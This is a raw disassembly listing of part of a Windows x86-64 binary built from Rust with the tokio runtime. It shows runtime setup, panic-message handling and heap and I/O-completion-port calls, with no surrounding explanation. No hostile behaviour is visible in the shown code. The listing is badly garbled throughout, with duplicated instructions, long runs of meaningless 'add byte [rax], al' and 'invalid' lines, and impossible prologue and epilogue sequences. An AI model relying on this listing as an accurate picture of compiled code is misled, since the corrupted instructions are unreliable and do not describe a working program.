je 0x1400ede30
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rsi]
jne 0x1400edecd
mov rcx, qword [rsp + 0xa0]
call fcn.140039680
mov rax, qword [rsp + 0xa8]
lock dec qword [rax]
jne 0x1400ede30
lea rcx, [rsp + 0xa8]
call fcn.1400e4860
jmp 0x1400ede30
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, [0x14014c460]
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, [0x14014c448]
lea rcx, [rsp + 0x40]
call fcn.140108560
lea r8, [0x14014c478]
mov rdx, rdi
call fcn.140108810
lea r8, [0x14014c478]
mov rcx, rdi
call fcn.140108620
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014c580]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.1401088e0
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0xe0], rax
lea rax, [fcn.140012cc0]
add eax, 0xfff24cf7
mov qword [rsp + 0xe8], rax
lea rax, [0x14014cec0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x14014c508]
mov edx, 0x2c
call fcn.140108630
lea r8, [0x14014c520]
mov rcx, r13
mov rdx, rsi
call fcn.140108810
lea rcx, [0x14014c4c0]
call fcn.140108970
lea r8, [0x14014c430]
mov rcx, r10
call fcn.140108620
lea r8, [0x14014c430]
mov rcx, r13
mov rdx, r9
call fcn.140108810
ud2
lea rax, [0x14014eff8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_shutdown.rsCannot_drop_a_runtime_in_a_context_where_blocking_is_not_allowed._This_happens_when_a_runtime_is_dropped_from_within_an_asynchronous_context.
lea rcx, [rsp + 0x40]
call fcn.140108560
call fcn.140010970
mov ecx, 8
mov rdx, rsi
call fcn.1401082a0
lea rcx, [0x14014c490]
call fcn.140108970
lea rcx, [0x14014c4a8]
call fcn.140108970
int3
mov rsi, rcx
mov rax, qword [rcx + 0x38]
test rax, rax
je 0x1400ee1a8
mov rbx, qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400ee10d
mov rax, qword [rsi + 0x38]
test rax, rax
je 0x1400ee1a8
movzx ecx, word [rsi + 0x30]
mov rdi, qword [rsi + 0x18]
test cx, cx
jne 0x1400ee145
mov rdx, qword [rsi + 0x20]
nop
movdqa xmm0, xmmword [rdx]
pmovmskb ecx, xmm0
add rdi, 0xfffffffffffffe00
add rdx, 0x10
cmp ecx, 0xffff
je 0x1400ee120
not ecx
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x18], rdi
lea edx, [rcx - 1]
and edx, ecx
mov word [rsi + 0x30], dx
dec rax
mov qword [rsi + 0x38], rax
test rdi, rdi
je 0x1400ee1a8
tzcnt eax, ecx
shl eax, 5
sub rdi, rax
mov rcx, qword [rdi - 8]
call rbx
mov rax, qword [rdi - 0x18]
lock dec qword [rax]
je 0x1400ee180
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne 0x1400ee100
jmp 0x1400ee197
mov rcx, qword [rdi - 0x18]
call fcn.140039680
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne 0x1400ee100
add rdi, 0xfffffffffffffff0
mov rcx, rdi
call fcn.1400e4860
jmp 0x1400ee100
mov rax, qword [rsi]
test rax, rax
je 0x1400ee1dc
cmp qword [rsi + 8], 0
je 0x1400ee1dc
mov r8, qword [rsi + 0x10]
cmp rax, 0x11
jb 0x1400ee1c5
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov qword [r12 + 0x1c8], rax
mov word [r12 + 0x1d0], 0
mov eax, dword [rsp + 0xb0]
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx - 0x77], al
test byte [rsp + rdx*8], ah
add dword [rax], eax
add byte [rbx + 0xa82484], cl
add byte [rax], al
mov dword [r12 + 0x1d8], eax
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 8
mov qword [rsp + 0xf0], 0
mov rsi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov qword [rsp + 0x40], 0
test r14, r14
je 0x1400ef9f0
shl r14, 3
mov r15d, 8
xor r13d, r13d
xor ebp, ebp
jmp 0x1400ef4e8
mov qword [r15 + r13*8], rbx
inc r13
mov qword [rsp + 0xf0], r13
inc rbp
add r14, 0xfffffffffffffff8
je 0x1400ef55d
mov rdi, qword [rsi + rbp*8]
lock inc qword [r12]
jle 0x1400efb3b
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400efb3d
add byte [rax], al
add byte [rax], al
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rdi
cmp r13, qword [rsp + 0xe0]
jne 0x1400ef4d0
lea rcx, [rsp + 0xe0]
call fcn.1400eac90
mov r15, qword [rsp + 0xe8]
mov r13, qword [rsp + 0xf0]
jmp 0x1400ef4d0
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
mov eax, dword [rsp + 0xe8]
mov eax, dword [rsp + 0xe8]
mov qword [rsp + 0x20], rax
test rdi, rdi
je 0x1400ef591
xor ebx, ebx
nop
nop
mov rcx, qword [rsi + rbx*8]
inc rbx
call fcn.1400e42e0
cmp rdi, rbx
jne 0x1400ef580
cmp qword [rsp + 0x30], 0
je 0x1400ef5ab
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xd0]
lock dec qword [rax]
jne 0x1400ef5c6
lea rcx, [rsp + 0xd0]
call fcn.1400048a0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ef61a
test eax, eax
jne 0x1400efe29
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd0], 0
jne 0x1400efd9b
mov qword [rsp + 0x48], r14
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
lock inc qword [r12]
inc dword [rsp]
jle 0x1400efb3b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx + rax*8]
mov rax, qword [rdx + 0xd8]
mov rcx, qword [rdx + 0xe0]
mov qword [rdx + 0xd8], 1
mov qword [rdx + 0xe0], r12
mov qword [rdx + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg edx, eax
call 0x1880ef6af
cmp edx, 0xffffffff
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg edx, eax
call 0x1880ef6af
cmp edx, 0xffffffff
je 0x1400efda7
inc rdx
mov r8d, dword [0x140182314]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0xe8], rdx
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], rdx
test r13, r13
je 0x1400ef964
shl r13, 3
xor ebp, ebp
xorps xmm6, xmm6
jmp 0x1400ef71d
add rbp, 8
cmp r13, rbp
je 0x1400ef964
mov rax, qword [rsp + 0x20]
mov r15, qword [rax + rbp]
mov eax, dword [0x140182314]
sub ecx, dword [rcx]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ef77a
test eax, eax
jne 0x1400efd48
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
adc eax, 0xffff48c2
adc eax, 0xffff48c2
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400efc2e
lea rcx, [rax + 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd0], rcx
add byte [rax], al
add byte [rax], al
mov rdi, qword [rdx + 0xd8]
cmp rdi, 2
je 0x1400efb79
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rbx, qword [rax + 0xe0]
mov ecx, 1
lock xadd qword [rbx], rcx
test rdi, rdi
je 0x1400ef810
mov eax, 1
test rcx, rcx
jns 0x1400ef81b
jmp 0x1400efb3b
test rcx, rcx
js 0x1400efb3b
xor eax, eax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
dec qword [rcx + 0xd0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov r14d, 1
lock xadd qword [0x140182050], r14
sal dword [0x140182051], 0xf
mov dh, 5
mov ebx, 0xba00092a
add byte [rcx], al
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400efbb0
mov rcx, rax
and rcx, 0xffffffffffffff80
or byte [rax - 0x73], 0xb1
add byte [rax], 0
add byte [rax - 0x73], cl
xchg ebx, eax
enter 1, 0
or byte [rax - 0x73], 0xb1
add byte [rax], 0
add byte [rax - 0x73], cl
xchg ebx, eax
enter 1, 0
lea r8, [rbx + 0x168]
test rdi, rdi
mov qword [rcx + 0x78], rax
cmovne r8, rdx
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x14014e4b0]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], r14
mov qword [rcx + 0xa8], 2
mov qword [rcx + 0xb0], r15
movups xmmword [rcx + 0xc8], xmm6
enter 0, 0
enter 0, 0
mov qword [rcx + 0xd8], 0
mov rcx, qword [r8]
mov rdx, rsi
lea r8, [rsp + 0x50]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
or byte [rax - 0x77], cl
lea r8, [rsp + 0x50]
call fcn.1400e4f90
test rax, rax
je 0x1400ef909
test rdx, rdx
jne 0x1400efbbf
lock dec qword [rbx]
sete al
test rdi, rdi
test edi, edi
je 0x1400ef930
test al, al
je 0x1400ef940
lea rcx, [rsp + 0x58]
call fcn.1400e4140
jmp 0x1400ef940
test al, al
je 0x1400ef940
lea rcx, [rsp + 0x58]
call fcn.1400e4080
nop
mov eax, 0xcc
mov ecx, 0x84
lock cmpxchg qword [rsi], rcx
je 0x1400ef710
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
jmp 0x1400ef710
cmp qword [rsp + 0x48], 0
je 0x1400ef980
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rsp + 0x20]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x88]
mov qword [rax], 1
mov qword [rax + 0x30], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x38], r12
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x40], rcx
mov rcx, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x48], rcx
lea rcx, [rsp + 0x1f8]
call fcn.1400e66e0
mov rax, qword [rsp + 0x1f8]
cmp rax, 2
je 0x1400efa31
lea rcx, [rsp + 0x200]
test rax, rax
je 0x1400efa1e
mov rax, qword [rsp + 0x200]
lock dec qword [rax]
jne 0x1400efa31
call fcn.1400e4140
jmp 0x1400efa31
mov r14, qword [rsp + 0xe0]
loopne 0x1400ef9f6
add byte [rax], al
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov r13, qword [rsp + 0xf0]
lodsb al, byte [rsi]
and al, 0xf0
add byte [rax], al
add byte [rax - 0x7d], cl
jl 0x1400efa35
xor byte [rax], al
lodsb al, byte [rsi]
and al, 0xf0
add byte [rax], al
add byte [rax - 0x7d], cl
jl 0x1400efa35
xor byte [rax], al
jne 0x1400ef599
jmp 0x1400ef5ab
mov rax, qword [rsp + 0x200]
lock dec qword [rax]
jne 0x1400efa31
call fcn.1400e4080
movaps xmm6, xmmword [rsp + 0x3a0]
add rsp, 0x3b8
movabs al, byte [0x3b8c48148000003]
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rcx], al
add byte [rcx - 0x7d], cl
cld
add dword [rdi], ecx
test dword [rax - 0xa], esi
invalid
ud2
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
mov ecx, 8
mov edx, 0x30
call fcn.1401082c0
mov ecx, 8
mov edx, 0x800
call fcn.1401082a0
mov ecx, 8
mov edx, 0x50
call fcn.1401082c0
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
xor eax, eax
mov byte [rsp + 0xe0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xe0]
call fcn.14010dd60
mov ecx, 0x80
mov edx, 0x80
call fcn.1401082c0
mov qword [rsp + 0x30], rdx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
lea rax, [fcn.1400da120]
mov qword [rsp + 0x70], rax
lea rax, str.OS_cant_spawn_worker_thread:
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xe0]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
mov ecx, 8
mov rdx, rsi
call fcn.1401082a0
mov al, 1
mov byte [rsp + 0x1c0], al
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
mov qword [rsp + 0x2b0], rax
lea rax, [0x1400e6970]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x2c0], rax
lea rax, [0x140013b90]
mov qword [rsp + 0x2c8], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x2d0], rax
lea rax, [0x140006d10]
mov qword [rsp + 0x2d8], rax
lea rax, [0x14014cb00]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 3
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 3
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcloom_stdmod.rs
lea rcx, [rsp + 0xe0]
call fcn.140108560
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
lea rdx, [0x14014d8b0]
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0xd8]
lea r8, [rsp + 0xe0]
call fcn.140111c90
mov al, 1
mov byte [rsp + 0xe0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xe0]
call fcn.14010dd60
xor eax, eax
cmp ebx, 0xa
adc al, 1
jmp 0x1400efc49
mov ecx, 8
mov edx, 0x1e0
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108820
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0xf0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0xe0]
call fcn.140108560
mov ecx, 8
mov edx, 0x60
call fcn.1401082a0
mov ecx, 8
mov edx, 0x180
call fcn.1401082c0
mov ecx, 8
mov edx, 0x200
call fcn.1401082a0
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
call fcn.140111c70
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
mov qword [rsp + 0xe0], rax
lea rax, [0x1400e6970]
mov qword [rsp + 0xe8], rax
lea rax, [0x14014c9d0]
mov qword [rsp + 0x2b0], rax
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x5cbd2
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x5cbd2
lea rcx, [rsp + 0x2b0]
call fcn.140108560
lea rcx, str.assertion_failed:_sharded_size.is_power_of_two__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutil_sharded_list.rsh
lea r8, [0x14014f7d0]
add eax, 0x30ba00
add byte [rax], al
add eax, 0x30ba00
add byte [rax], al
call fcn.140108630
mov qword [rsp + 0x1f8], rcx
mov qword [rsp + 0x200], r8
mov qword [rsp + 0x208], r9
xor eax, eax
jmp 0x1400efc49
xor eax, eax
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateIoCompletionPort]
test rax, rax
je 0x1400f017c
mov rbx, rax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400f03f4
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rbx
lock inc qword [rax]
jle 0x1400f03f2
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400f0403
call qword [sym.imp.kernel32.dll_GetLastError]
mov r12d, eax
shl r12, 0x20
or r12, 2
jmp 0x1400f01ec
mov qword [rsi + 8], r12
mov qword [rsi], 2
jmp 0x1400f03de
mov eax, dword [rsp + 0x28]
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], rbp
mov qword [rsi + 0x30], rbx
mov byte [rsi + 0x38], 0
mov qword [rsi + 0x40], rbx
mov qword [rsi + 0x48], rdi
xorps xmm0, xmm0
movups xmmword [rsi + 0x50], xmm0
mov byte [rsi + 0x60], 0
mov qword [rsi + 0x68], 0x10
mov qword [rsi + 0x70], r13
movaps xmm0, xmmword [rsp + 0x90]
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x78], eax
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x78], eax
movups xmm0, xmmword [rsp + 0x99]
movups xmmword [rsi + 0x81], xmm0
mov byte [rsi + 0x98], 0
add byte [rax - 0x39], cl
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add byte [rcx + rcx*4 - 0x42], cl
test al, 0
add byte [rax], al
add byte [rax - 0x39], cl
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add byte [rcx + rcx*4 - 0x42], cl
test al, 0
add byte [rax], al
mov qword [rsi + 0xb0], 6
movzx eax, byte [rsp + 0x60]
mov byte [rsi + 0xd8], al
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rsi + 0xc8], xmm1
movups xmmword [rsi + 0xb8], xmm0
mov qword [rsi + 0xe0], r8
mov dword [rsi + 0xe8], edx
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov ecx, 8
add byte [rax], al
add byte [rdx + 0x70], bh
add byte [rax], al
add byte [rdx + 0x70], bh
call fcn.1401082c0
mov ecx, 8
mov edx, 0x80
call fcn.1401082a0
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
nop
jle 0x1400f0430
invalid
nop
jle 0x1400f0430
mov ecx, 8
mov edx, 0x1860
call fcn.1401082a0
add dword [rax], eax
add dword [rax], eax
call fcn.140010970
int3
push rdi
push rbp
push rbx
sub rsp, 0x68
push 0x247c290f
push rax
push 0x247c290f
push rax
movaps xmmword [rsp + 0x40], xmm6
mov rbp, rdx
mov r14, rcx
movzx eax, byte [0x140182310]
mov edx, 0x40
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400df910
test rax, rax
je 0x1400f069e
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov dword [rax + 8], 1
mov dword [rax + 8], 1
mov qword [rax + 0x30], 0
mov byte [rax + 0x38], 0
add al, dh
inc qword [rax]
jle 0x1400f058b
invalid
add byte [rdi], cl
mov dh, 5
push rbp
invalid
movzx eax, byte [0x140182310]
xor esi, esi
mov edx, 0x18
add byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400f06ad
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov eax, dword [r14 + 0x30]
mov r15d, 0xa
cmp eax, 0x3b9aca00
invalid
invalid
je 0x1400f04ff
invalid
invalid
invalid
mov r15, qword [r14 + 0x28]
mov esi, eax
mov dword [rsp + 0x2c], esi
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add al, 0xc1
cmp qword [rax + 0xa0], 0
jne 0x1400f0525
call fcn.14002e060
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
mov rsi, qword [r14 + 0x38]
mov r13, qword [r14 + 0x40]
lock inc qword [rsi]
inc qword [rsi]
outsb dx, byte [rsi]
lock inc qword [rsi]
inc qword [rsi]
inc qword [rsi]
jle 0x1400f058b
movups xmm7, xmmword [r14 + 0x10]
mov r12, qword [r14 + 0x58]
test r12, r12
mov qword [rsp + 0x38], rbp
je 0x1400f058d
mov rax, qword [r14 + 0x60]
mov qword [rsp + 0x30], rax
lock inc qword [r12]
jle 0x1400f058b
mov rbp, qword [r14 + 0x68]
test rbp, rbp
test ebp, ebp
test ebp, ebp
je 0x1400f0596
mov r14, qword [r14 + 0x70]
lock inc qword [rbp]
jg 0x1400f0596
ud2
mov rbp, qword [r14 + 0x68]
test rbp, rbp
jne 0x1400f0580
movzx eax, byte [0x140182310]
add eax, 0x91d73
mov edx, 0x110
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400f06bc
add byte [rax], al
add byte [rax], al
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm7
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0x10], edi
mov qword [rax + 0x20], r15
mov ecx, dword [rsp + 0x2c]
sub al, 0x89
sub byte [rax - 0x77], cl
jo 0x1400f0604
sub al, 0x89
sub byte [rax - 0x77], cl
jo 0x1400f0604
mov qword [rax + 0x38], r13
xorps xmm0, xmm0
movups xmmword [rax + 0x40], xmm0
mov qword [rax + 0x50], 8
mov qword [rax + 0x50], 8
movups xmmword [rax + 0x58], xmm0
movups xmm1, xmmword [0x14014c800]
movups xmmword [rax + 0x68], xmm1
movups xmm1, xmmword [0x14014c810]
adc eax, edx
add eax, 0x48110f00
add byte [rdi], cl
adc dword [rax + 0x78], ecx
adc eax, edx
add eax, 0x48110f00
add byte [rdi], cl
adc dword [rax + 0x78], ecx
invalid
add byte [rdi], cl
adc dword [rax + 0x78], ecx
movups xmmword [rax + 0x88], xmm6
mov byte [rax], al
add byte [rax], al
mov qword [rax + 0x98], rbx
mov qword [rax + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], 0
add byte [rax], al
mov qword [rax + 0xb8], 0
mov dword [rax + 0xc0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rax + 0xc4], 0
mov qword [rax + 0xc8], 0
mov dword [rax + 0xc8], 0
add ah, 0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0xc8], 0
mov dword [rax + 0xc8], 0
mov qword [rax + 0xd0], r12
mov rcx, qword [rsp + 0x30]
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x30
mov qword [rax + 0xd8], rcx
mov qword [rax + 0xe0], rbp
mov qword [rax + 0xe8], r14
add byte [rax - 0x75], cl
and al, 0x38
add byte [rax - 0x77], cl
test al, 0xe0
add byte [rax], al
add byte [rcx + rcx*4 - 0x50], cl
call 0x1880f0663
add byte [rax - 0x75], cl
and al, 0x38
add byte [rax - 0x75], cl
and al, 0x38
mov qword [rax + 0xf0], rcx
movups xmmword [rax + 0xf8], xmm0
adc dword [rax + 0xf8], eax
mov qword [rax + 0x108], 0
mov rdx, rdi
add byte [rax], al
add byte [rax - 0x77], cl
cli
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x40
call fcn.1401082c0
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add al, ch
add al, 0x7c
add dword [rax], eax
invalid
add byte [rax], al
add al, ch
add al, 0x7c
add dword [rax], eax
invalid
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x110
call fcn.1401082c0
add al, ch
cmc
jnp 0x1400f06cb
add ah, cl
int3
int3
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1d8
sub esp, 0x1d8
sub esp, 0x1d8
movapd xmmword [rsp + 0x1c0], xmm13
movaps xmmword [rsp + 0x1c0], xmm13
movapd xmmword [rsp + 0x1b0], xmm12
movaps xmmword [rsp + 0x1b0], xmm4
